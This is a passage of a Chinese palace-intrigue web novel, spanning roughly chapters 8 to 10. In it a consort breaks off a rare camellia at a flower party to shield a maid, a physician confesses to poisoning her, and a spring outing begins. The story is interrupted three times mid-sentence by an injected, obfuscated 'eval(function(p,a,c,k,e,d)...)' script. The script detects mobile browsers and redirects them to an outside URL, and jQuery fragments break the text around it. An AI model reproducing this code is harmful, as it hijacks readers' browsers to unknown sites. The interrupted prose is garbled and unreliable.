薛照只让李成放心:“折花之人有意破坏贤妃花会,我想要将人揪出,先不必打草惊蛇。我会去暗中寻觅一盆替换之花。你去告诉春桃,让她安心。就说......我自有分寸。” *** 这几日琥珀想尽了法子,试图勾起辛冉的兴趣,让她去参加贤妃的花会。 先是置办展示了七八套头面衣裙。辛冉倒是乐意歪在贵妃榻上欣赏,饶有兴致地看珍珠替她一套一套的更换穿搭。但若说起自己穿来去赴会,她便打起哈欠来。 琥珀又想了一招,和辛冉大谈宫中形势来,说:“本来宫中皇后为尊,又有亲妹妹贤妃相助,可中宫无所出,贤妃进宫数年也没有动静。而惠妃生有二子一女,风头无二,且有压过皇后娘娘的势头。如今娘娘你以纵火案压住惠妃,贤妃觉得您出手漂亮,必是想要拉拢娘娘。娘娘赴会,也是向皇后示好……” 可辛冉又是一个哈欠:“别宫的闲事能不管就不管。” 琥珀无法了。 琥珀站在廊下,望着院中那株开得正艳的茶花,眉头紧锁。她轻轻叹了口气,转身去了李才人的偏殿。 “你今日有空找我?”李珍珠的伤好了许多,趴在床上有力气玩笑。 自打上回李珍珠从火海里把琥珀救出,她们两的关系就和缓许多,不再同先前那般冰冷,甚至多有回到从前姐妹相处的情分。 琥珀在她床边坐下,开门见山道:“你可知道,明日便是贤妃娘娘的花会了?” “你忘了我是从谁的宫里出来的?”李珍珠说,“听说今年贤妃娘娘特意从江南运来了几株名贵的茶花,要在花会上展示。” “正是这事。”琥珀叹了口气,“娘娘本来收了贤妃的帖子,可眼看花会在即,她怕是不愿意去。你也知道,自从上次那件事后,娘娘就恹恹的,做什么也提不起劲来,我是怕她还……" 李珍珠若有所思地点点头:“娘娘是有主意的人,你若是强劝,反而不妥。不过......”她眼中闪过一丝狡黠,“昨日正好听到一个贤妃宫中的消息,这倒是让我想到一个法子。” “什么法子?”琥珀连忙问道。 李珍珠买了一关子:“你下午只管请了娘娘过来看我,到时候你就知道是什么法子了。” 辛冉担心李珍珠的伤势,隔日就来探望她,请她过来并不难。午后,辛冉睡起便同琥珀来西偏殿,才走到门前,听见里头传来一阵压抑的哭声。 辛冉驻足听了听。里面的人哭得梨花带雨:“才人,我怕是活不过明日。我在贤妃宫中没有亲友,唯有你来时对我有过几句贴心话,如今我也只得将这些托付给你,求你来日把这银钱送给我宫外的阿娘。” “只是一株茶花,还不是你折断的,最多是治一个照料不力的罪,何至于此?”里头的李珍珠正安慰她。 "这株紫袍玉带贤妃娘娘特意从江南运来的,价值千金,仅此一株,是花会上的压轴。现在告诉贤妃娘娘,也来不及去置换一盆相当的名品了。" “你何不求一求贤妃?” “贤妃娘娘何等严厉,我如何敢相求?在贵人眼中,我这条贱命,如何能与紫袍玉带相比。” “你那日来说,我便想了一个办法。现下已来不及置换,若是花会上能有其他贵人替你说情,或许能从轻发落。” “我先前是托了同乡替我找人说情,但这些日没有确切音讯,怕是不行。哪里还有贵人能救我,纵然饶我一命,照料不力罚去掖庭局,我这种人也活不到出来的一日……”说着便又呜呜地痛哭起来。 门外,辛冉默默地看住琥珀。 琥珀低下头盯住自己的脚尖,说:“娘娘不知,这等花房宫女可怜的很。多是被家中爹娘卖进宫里,每年不吃不喝也至多攒下二两银子,孝敬了上头的姐姐姑姑,再送出宫给家人。若是被关进掖庭局做苦力,连二两都捞不到。” 辛冉走进去一看,小宫女身子单薄得很,像根枯柳枝似的。 “罢了,不要哭了,我帮你就是。”辛冉终究于心不忍。 小宫女见有人来,哭得更伤心了:“求求贵人救救奴婢,奴婢真的不是故意的!贵妃娘娘若是能帮奴婢再好不过了,那花本就是贤妃寻来要送与娘娘的。” “偏偏是送与我家娘娘的花折了?”琥珀立刻开启宫斗模式,问道。 小宫女点点头,又向辛冉磕头:“求娘娘替奴婢说情,求娘娘。” 辛冉赶忙把人扶起来,问:“那花现在何处?枯了吗?” 小宫女摇头:“奴婢收着呢。茶花是整朵被折,还好好的。” 辛冉想想,道:“你去将花用针插回枝干上,只要能挺到明日花会上,我担保你无事。这盆花到了我手上,落了与否,贤妃就不会插手。”她还是不愿意去和贤妃沟通,贤妃说一不二、处处主导的脾气总让她想起前世的主管。能少见一面就少一面。 小宫女瑟缩着有些担忧。 琥珀在旁说:“我家娘娘担保,你还有什么不信的。阖宫上下,也没有其他贵人能给你这样的小小宫女担保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111525|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “贵妃娘娘的善举,阖宫皆知。奴婢的性命全仰赖娘娘了。”小宫女坚持跪下磕头,感激道。 *** 周太医被留在景福宫已有三日。 这三日里,他寝食难安,每每听到外头有脚步声,便惊得从椅子上跳起来。案几上的茶凉了又换,换了又凉,他却一口也喝不下。 "莫非是那件事......"周太医擦了擦额角的冷汗,想起惠妃来。当时他鬼迷心窍,收了惠妃的银钱,竟真的将毒下在了辛冉的药里。如今想来,真是悔不当初。 正胡思乱想着,外头忽然传来一阵脚步声。周太医猛地站起身,只见辛冉身边的宫女琥珀捧着一个锦盒走了进来。 "周太医,这是娘娘赏您的。"琥珀将锦盒放在案几上,轻轻打开。 周太医定睛一看,顿时倒吸一口凉气。锦盒里整整齐齐码着金锭,在烛光下泛着耀眼的光芒。这数目,怕是比惠妃给的还要多上数倍。 "这...这是......"周太医结结巴巴地说不出话来。 琥珀笑道:"娘娘说,多谢您这些日子尽心医治宫中人,这是她的一点心意。" 周太医只觉得双腿发软。 自从他被留在景福宫那天起,他就担心怀疑下毒之事被贵妃知晓,否则难以解释贵妃会为了一介才人把他变相软禁。 今日看到这一盒金锭,周太医终于确定自己心中所想。为才人和宫女诊治,何需如此多的诊金和赏赐。偏偏是比惠妃买通他的银钱多上这么许多。 周太医确信事情已经败露,哆嗦了半天终于道:"我有话要告知贵妃娘娘,请姑娘通传。" 周太医随着琥珀来到主殿,请贵妃屏退左右后,扑通一声就跪了下去。 "臣有罪...臣不该受人所迫,在娘娘的药里下毒......"周太医伏在地上,浑身发抖。 果然,贵妃的反应扑如同他预想的平淡,好似早就知晓。 贵妃斜倚在锦榻上,轻轻"哦"了一声:"原来如此。我还奇怪,这几日的药怎么格外苦呢。" 周太医连连磕头:"臣罪该万死,求娘娘开恩!" 辛冉面上平淡,只不过是体乏。心中实在是掀起轩然大波,早知周太医日日再给自己熬毒药,前些日子自己就不该偷偷倒药。若是坚持喝到今日,早就如愿,一命呜呼了。 辛冉端起茶盏,慢条斯理地抿了一口:"周太医医术高明,我不会治你的罪。" 周太医抬起头,一脸茫然。 "只是......"辛冉放下茶盏,"那药实在太苦了。周太医既然精通此道,不如替我改良一下方子?" "娘娘的意思是......" "要甜的,不要苦的。"辛冉强调道,"周太医明白我的意思吗?" 周太医愣了片刻,虽然不懂但还是装出恍然大悟的模样:"臣...臣明白!臣这就去办!" 贵妃位高权重,享尽富贵,岂会主动寻死!必是暗示他收集证据,要惠妃苦头吃。 周太医回去便改了方子,认真按贵妃的身体重新拟了一剂补气益体的甜药方。 9. 第 9 章 春阳斜斜地映着御花园的琉璃瓦,满园茶花开得正艳。 贤妃别出心裁,将赏花会设在御花园的曲廊水榭,碧波荡漾,映照着两岸绿茵间盛放的茶花,粉似云霞,红若流火。流水潺潺,花香袅袅,雅致十分。 赴会妃嫔或是在席间品茗,或是近前赏花,更多是簇拥着贤妃谈天说话。仔细瞧来,满宫妃嫔,除了闭门思过的惠妃,远在寺中清修的那位,竟都在此处了。 皇后事忙不到,但她与贤妃向来是姐妹一体,贤妃背后即是皇后。从前宫中,多有妃嫔追随惠妃,如今惠妃拥趸都纷纷参加贤妃的花会。今后宫中风向又是一变。 只是,贵妃还未到。 正此时,曲廊尽头传来环佩叮当,十二个宫娥簇拥着金丝软轿迤逦而来,绛紫色锦缎轿帘上金线绣的鸾凤在日光下明晃晃地刺眼。 “贵妃娘娘到。”宫人高声通传。 话音未落,软轿已停在沉香亭前,一只缀满南珠的绣鞋踏在猩红毡毯上,贵妃扶着宫女的手下轿来。 辛冉今天走张扬恶女路线,穿得很是隆重,不找人撑一把实在难以行动。 她今日着海棠红蹙金广绫裙,裙裾逶迤处金丝勾出的孔雀翎羽随着步履起伏。头戴十二玉钗,钗头镶嵌的明珠在阳光下熠熠生辉。每走一步,钗环轻摇,珠光流转。 满园妃嫔皆屏息垂首,独贤妃含笑迎上前去:"妹妹来得正好,这株紫袍玉带今晨才开,倒像是专等着妹妹的仪驾。" 辛冉顺着贤妃的指引看去,那株紫袍玉带正亭亭玉立于花丛之中。绛紫色的花瓣层层叠叠,花心处一圈玉白色的花蕊恰似束腰玉带。微风拂过,那朵茶花轻轻摇曳,丝毫看不出昨日才被折断过。 而更远处,是苍白着脸的花房小宫女躲在朱栏后,紧张地观望着一切。 贤妃在侧介绍道:“妹妹不知,这紫袍玉带是江南新有的品种,京中还未得见,整个宫中统共就这一株。” 旁边人凑趣,捧着贤妃:“也就是贤妃娘娘养得起,让我们都能沾光开眼,我听闻这花娇贵得很,每日需用去年的雪水浇灌,夜里需熏染安神香。” “丽嫔夸张了,”贤妃转头对辛冉说,“此花雍容,正衬妹妹,我愿以此花赠美人,不知妹妹可喜欢?” “我可太喜欢了。”辛冉说 话音未落,贤妃只见辛冉染着凤仙花汁的指甲已抚上那朵垂露的茶花。"喀嚓"一声,贵妃竟生生将那朵价值千金的茶花折了下来。 人群中响起倒抽冷气的声音,丽嫔的绢帕掉在鹅卵石径上,被风卷着滚到贤妃脚边。辛冉却恍若未闻,只将那朵紫袍玉带别在鬓边,绛紫色花瓣衬得她眉间花钿愈发殷红如血。 “谢谢贤妃送的花。姐姐瞧,这花在我发间美吗?”辛冉甜甜假笑,侧脸去问。 贤妃不语,优雅得体的面容上好似出现一道裂缝。静默几息,辛冉才听到她说:“甚美。你喜欢便是,长在盆中,簪在鬓间,都是一样。” 贤妃好涵养,不过一会便调理好心态,亲亲热热地拉住辛冉入席。 远处,小宫女终于松下一口气。在贵人们看不见的角落里,双手合十、转着圈拜遍神佛菩萨。 更远处,抱着一株茶花的锦衣卫亦没有打搅这场宴席,只是将目光落在花丛中的红裙宫妃上。 薛照站在远处,将花房宫女与辛冉的神色尽收眼底,一下便推测出内情,猜出是辛冉故意摘花帮助宫女脱罪。 本来他还想用怀中这株来顶替紫袍玉带,看来是不及他人援手及时。 薛照笑笑,没有打搅这场宴席,转身离去。 花会直到黄昏时分才结束,辛冉回到景福宫,珍珠忙迎上来,道:“娘娘,方才薛指挥使来过,留下一盆茶花说是赠与娘娘。” 珍珠说着,露出身后那盆摆在桌几上的茶花。花开得正盛,玉白花瓣层层叠叠,唯见花心一点胭脂红。 “呀,是抓破美人脸,这可难得!”辛冉听得人这么说。 ****** 花会结束,众妃嫔散去,丽嫔特意留了下来。 丽嫔跟随贤妃回了宫,四下无外人了,才低声道:"姐姐,今日贵妃当众摘花,实在无礼至极。" 贤妃闻言,眸中闪过一丝冷意,心中计较着辛冉的种种行径。然而,她深知贵妃地位轻易不可撼动,且眼下正是需要贵妃来压制惠妃。 贤妃强压下心头的不悦,淡淡道:"妹妹所言极是,只是贵妃出身将门,性子直率,倒也无甚恶意。" 丽嫔见贤妃态度暧昧,心中暗喜,连忙表忠心道:"姐姐宽厚,但妹妹实在看不过眼。若有机会,我总要到陛下面前去分说分说。" 贤妃微微一笑,拍了拍她的手背:"妹妹有心了,此事莫要放心上。" 当晚,春恩銮驾就这样恰巧来到了丽嫔所在的绮春宫。 两情欢好,殿中的龙涎香愈烧愈浓。丽嫔倚在皇帝肩头,趁机吹起了枕头风:"陛下,今日赏花会上,贵妃娘娘当众摘了那株紫袍玉带,实在有些......" 皇帝闻言,眉头微皱,道:“贵妃近来性情是有些变化。” 但为人子,遭遇父母家族大变,性情变化也是人之常情。李珲是不愿面对一张肖似辛胄飞的脸,但他将辛冉当做妹妹疼爱的话却不假。 皇帝翻身坐起,肃色申斥丽嫔:"你为嫔位,议论贵妃,以下犯上、以卑议尊。吴氏,你当慎言慎行,不要失了规矩。" 丽嫔心中一凛,浑身冒出冷汗,连忙跪到床榻下请罪。 皇帝没有理会丽嫔,径直越过她,拂袖而去。 六宫之中没有不透风的墙,皇帝二更天离开绮春宫,消息三更天不到就传遍了。只是丽嫔羞得闭门不出,无人知晓究竟是何事触怒龙颜。 辛冉不关心八卦,春日阳光正好,景福宫的桃花开了,她搬了贵妃榻在树下小憩。不远处,小宫女正小心翼翼地照料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111526|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那株紫袍玉带。 此人就是贤妃宫中伺候花草的小宫女,幸得辛冉出手相救,她免过责罚。为报救命之恩,她日夜钻研养花之术,誓要再培育出一株紫袍玉带来。 她轻轻拨弄着花枝的嫩芽,同景福宫的小宫女道:"娘娘待我恩重如山,我一定要让这花重新绽放。我特地求同乡,在南边来的花匠那寻了一本茶花经……" 正此时,大门突然响起一阵吵嚷。 辛冉的左耳传来一阵喧闹——“大哥,你放开我!放开我!我就不道歉!我偏不!”这声音带着少年特有的倔强,挣扎间衣料摩擦发出窸窣声响。 她的右耳则飘进宫女们慌乱的低语——“请大殿下、二殿下安。”“呀,大殿下您快放手吧,二殿下要摔倒了!” 吵嚷声一路逼近,直到她跟前才戛然而止。一道略显青涩却故作沉稳的男声响起:“给贵妃娘娘请安。贵妃娘娘,二弟有话对您说。” 辛冉不得不睁开假寐的眼睛。她坐起身来,拂去衣上落花,抬眼看向面前的两位皇子——板着脸、年纪稍长的是大皇子李承熹,眉宇间浩浩然一片正气;被他揪着衣领、气鼓鼓别过脸去的是二皇子李承烨,稚气未脱的脸上写满了不服。 李承熹见弟弟不说话,一把就将人按跪下去,正声道:“辛家满门忠烈,你身为大颂皇子,自当感念忠臣义举,敬重忠臣之后。可你却做小人行径,偷偷折断贵妃娘娘的花。你若不道歉,我现在就去父皇面前,状告你折花行巫蛊之术。” 最后这句话就严重了。听懂的人如琥珀已经跪下劝谏:“大殿下慎言。” 李承烨也不敢再赌气,低着头,嗫嚅道:"贵妃娘娘,是儿臣不好。那天是儿臣为了给母妃出气,才折了您的花。我现在同您赔罪,您就不要计较了……" “如意!你这是什么认错的态度!”李承熹很不满地打断。 辛冉却接口:“好了,我原谅你。” 李承熹道:“贵妃娘娘不必心软,他做错了事就要认罚,同人道歉要诚心,绝不可有此等态度。” “没事,我不和小孩子计较。”辛冉一心只想着午睡,可不愿意陪这两位中小学生斗嘴。想了想,又加上一句送客的话:“琥珀,今日的透花糍做得好,装点果子给大殿下、二殿下吃,好好送出门,可别再打架了。” 李承烨被大哥逮到景福宫没有多气愤,他总觉得自己和母妃得宠,贵妃不能将他如何。但他拿着贵妃给的果子,被送出景福宫门的时候,他气得脖子都红了。 什么!叫做!不和小孩子计较! 自觉参与夺嫡之争的二皇子,就这么被当做小孩子恶作剧,被贵妃用一碟果子打发了! 偏偏他身边的傻大哥还无知无觉,“咦”道:“二弟,你冷么?怎地牙齿打抖?罢了,快些回去吧,你看贵妃娘娘如此宽宏大度,下次可不许再这样做小儿行径。” 李承烨咬紧气到发抖的牙齿,扭头往另一方向去。 10. 第 10 章 丽嫔失宠,惠妃闭门思过,连日来皇帝出入后宫,只往返于坤宁宫与咸福宫之间。近一月来,皇后与贤妃姐妹二人独得圣宠。这一日,皇后召贤妃入坤宁宫叙话,姐妹二人对坐于暖阁之中,窗外春光正明媚。 皇后轻抚腕上的翡翠镯子,柔声道:“妹妹,近日司寝的太监总是有意无意地将陛下引到我们宫中,这般行事未免太过显眼。后宫之中,雨露均沾才是长久之计,若引得众妃嫔心生怨怼,反倒不美。” 贤妃闻言,微微一笑,端起茶盏轻抿一口,眸中闪过一丝精光:“姐姐何必顾虑太多!如今正是大好时机,若能趁此机会怀上龙嗣,才是真正的长久之计。” 她放下茶盏,语气坚定,“姐姐身为中宫,若能诞下嫡子,便是稳固了根基,旁人再如何也动摇不得。” 正说着,宫女端来两碗热气腾腾的助孕汤药,恭敬地奉上。 贤妃照例是端起药碗一饮而尽。皇后接过药碗,眉头微蹙,习惯性地拈起一颗蜜饯,正要入口,却忽然顿住,担忧地看向贤妃:“妹妹总说蜜饯甜腻,不利于养身,可这药实在苦得很……” 贤妃正要劝谏,却见皇后忽然掩口,面露不适,似有反胃之状。 贤妃一时激动,连忙起身扶住皇后,声音微颤:“姐姐可是有孕了?” 皇后摇头,轻声道:“像是胃里不适。” “这可难说。”贤妃扭头问皇后身边的大宫女:“竹露,娘娘这月的月信可来了?” 竹露是从家中跟着皇后入宫,一路来最知道皇后的艰辛,此刻也不免激动起来,道:“迟了有七八日!只是娘娘的小日子向来不准……不过娘娘近日已经恶心五六次,也体乏嗜睡!” 贤妃握住皇后的手:“姐姐,请曹院判来诊脉吧!” “时日太浅,太医摸脉也未必能诊出。若是没有,更不是空欢喜一场。请得太医来,闹得满攻沸沸扬扬,我不愿叫皇上失望。”皇后犹豫。 贤妃再问了一次:“曹院判是自己人,对外便说是寻常请平安脉。姐姐,皇嗣为重,还是诊了脉安心。” 皇后许了贤妃,竹露立刻便叫小内侍跑去把曹院判请来。不到一刻钟的功夫,曹院判就到了翊坤宫,他是跑来的,半百的年纪比药童跑得还快些。 然而曹院判诊了数遍也不能下决断,拈着山羊胡,再三思量。 贤妃焦急问:“院判,究竟何如!” 曹院判不得不说:“娘娘的脉象似乎有喜,但时日太浅,臣不敢妄下结论。还是要待两月才能摸准喜脉。” 纵然这话说得缥缈十分,但皇后与贤妃姐妹二人对视一眼,皆从对方眼中看到了难以掩饰的欢喜。 贤妃握紧皇后的手,低声道:“无论如何,这都是个好兆头。” 自那日后,皇后称病不出,后宫之中独剩贤妃受宠。与此同时,李珍珠的伤势已好全,她拿出上回救火时辛冉给的赏金,贿赂司寝内侍,将自己的绿头牌重新挂上。丽嫔失宠后,宫中许久不闻月琴声。 内侍不经意地在侍奉时提到:“景福宫的李才人新学了月琴,常在宫中习练,听过往宫人们说,她将皇上喜爱的那曲永遇乐弹得极好。” 当夜,春恩銮驾来到了景福宫,皇帝终于时隔数月再度踏入李珍珠的殿中。 于是苦练月琴,终于引得皇帝再度踏入她的殿中。 *** 卯时一刻,还在酣睡的辛冉被琥珀从锦被里挖出来。 “娘娘快醒醒,偏殿的人说皇上已在梳洗,立时就要过来用膳了!”琥珀急得往她手里塞温热的玫瑰露,试图将半梦半醒间的辛冉灌醒。 “就说我病了!”辛冉裹着被子滚到床榻里侧,鸦青长发铺了满榻,“我又不用上朝,为什么要天不亮起来陪他吃早饭......” 琥珀这回说什么也不肯纵着她,叫上几个宫女一齐将辛冉从床榻上扶起来。穿衣的穿衣,打水的打水,捧妆奁的捧妆奁,忙得团团转。辛冉打了一个哈欠,道:“不上妆,吃过饭我还要回去接着睡。” 琥珀忙得脚底打头,只得许辛冉先穿衣净面。正忙着,外间已响起内侍尖细的唱喏。 李珲也是今晨忽然起得心思,决定要来正殿与贵妃用早膳。他自觉如此安排,给足贵妃体面,正合上回他与皇后所说,把贵妃当做小妹爱怜。此时,李珲迈进殿内,见来人粉黛未施,只觉得是家常做派,拉了人去桌前用膳。 贵妃显然睡梦未醒,坐在桌前以手支颐,忍不住哈欠。她面前的翡翠米粥已凝了层脂膏,晨光透过茜纱窗棂,将她面上细小的绒毛镀成淡金色。瞧着竟真相似小妹情态。 辛冉正发困得头点地,不到七点就被抓起来陪大领导吃早饭,很艰难地掩藏“很不高兴为您服务”的情绪。 “蓬莱宫的垂丝海棠该开了。”皇帝忽然开口,“贵妃改日随朕骑马踏青如何?” 这话惊得辛冉瞌睡都跑了,手中攥紧银箸,再抬眸时捂着:“臣妾这几日心口疼......” “朕看你这几日气色倒好,可见周庆安留在你宫中尽心,太医院不缺人,他在你这里多留也好。”皇帝截断她的话头,“就这么定了,寻个好春光,贵妃与朕去踏青。” 圣意裁定,更胜落锤定音。 送走皇帝,辛冉失了回笼觉的兴致,窝在床上恹恹地思索,打算出游那日再生场大病。在这方面,琥珀与辛冉总是两个极端,她已捧来件银红骑装:“娘娘许久不曾骑马,肯定是想的。年前娘娘还说想带踏雪去跑一圈,只可惜没机会,如今机会不就来了……” 踏雪是谁? 在琥珀滔滔不绝的叙述中,辛冉逐渐有了踏雪的画像——一匹墨色烈马。 宝马照夜雪,那是辛家军马场百年难遇的照夜白,通身如夜色凝成的墨玉,偏生四足雪白似踏着初雪,故而取名踏雪。踏雪天生神骏,曾经载人越过三丈宽的溪涧,极得爱宠。 当初辛冉入宫时,踏雪也作为陪嫁一同入宫。踏雪戴着缀满南海珍珠的辔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111527|164089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,银鬃间编入红珊瑚珠串,每走一步都惹得宫人们惊呼。如此盛景,至今都是一大谈资。 但辛冉对骑马不甚感兴趣,她从前就是个五体不勤的疲惫社畜。 “踏雪在马厩自有人照料,马场里跑着比起驮着我,能跑得更快。”辛冉说。 “踏雪可不愿意被那些人骑,马场里有如何能跑得痛快!” 辛冉却摆摆手,不再讨论这个话题也不愿意试穿骑装。 琥珀没有再劝,抱着骑装退下了。但她也没有放弃,这段时日要说在李珍珠身上学到了什么,琥珀就学到了永不放弃的精神。 细雨绵绵的午后,景福宫内一阵窃窃私语,搅醒辛冉的梦。辛冉从湘妃榻上支起身来,推开雕花槛窗,满院桃花随着春风簌簌落在肩头。窗外,那匹通体玄色的骏马正在啄食金华晾在竹匾里的松子糖。 是踏雪!琥珀竟然把踏雪牵到了这里来! 马儿也听见声响,扬起修长的脖颈,银鬃在日光下泛起月华般的光泽。它琉璃似的眼珠转了转,朝着窗棂缓步而来。辛冉愣在原地,直到湿漉漉的鼻尖蹭过她颈侧,带着苜蓿草的清香。 “踏雪。”辛冉轻轻喊马儿的名字。 她完全心软了。 她想带小马出去玩! *** 皇帝让天钦监选了游春的吉日,在雨水后的第三日。皇帝驾幸别宫,不止后妃陪伴,王公大臣也一并出行,浩浩荡荡一大队人马。出发的吉时在辰时三刻,但那是圣驾,后妃出行的车队卯时便要在西德门前等候。 此次游春,皇后仍称病不出,贤妃主动请缨,欲代为主持后宫事务,携领众妃嫔前往蓬莱宫。然而却不想,辛冉会踏出景福宫,伴驾出游。皇后称病,贵妃自然当是众妃之首。 “我知你性好争胜,但贵妃在先,你不可失了礼数。”临行前,皇后特意叮嘱贤妃。 卯初的薄雾里,六十四盏琉璃宫灯次第亮起,映得妃嫔们髻上的点翠步摇泛起幽蓝寒光。贤妃立在马车垂缨之下,看着掌纹间凝结的晨露——这是她第三次抚平蹙金翟鸟纹的袖口。 后宫之中,风云变幻,前几日她还独得恩宠、风头无二,下一刻便要立在这儿等贵妃车架。在这深宫之中,谁也不知下一刻会发生什么,也没有什么不败之地。 卯时三刻,掐着点似的,景福宫的朱轮华盖车碾着辰光款款而来。众妃也不见贵妃,马车珠帘轻响,跳下来一个小宫女。 “贵妃娘娘有言,诸位不必多礼。”跳下车的小宫女不过十三四岁模样,她扬起下巴的模样,倒与主子有三分神似:“娘娘说春寒料峭,请各位主子登车自便。” 宋才人的绿绸披风在风中乱舞,她凑近贤妃耳畔轻嗤:“好大的架势,连车也不下,娘娘你说那李才人是否也同在车上...”话未说完便被贤妃凛冽眼风截断。 贤妃扶着素心的手登上马车,似乎闻到远处传来踏雪清越的嘶鸣。她想起今晨皇后的叮嘱,紧紧闭上了双目。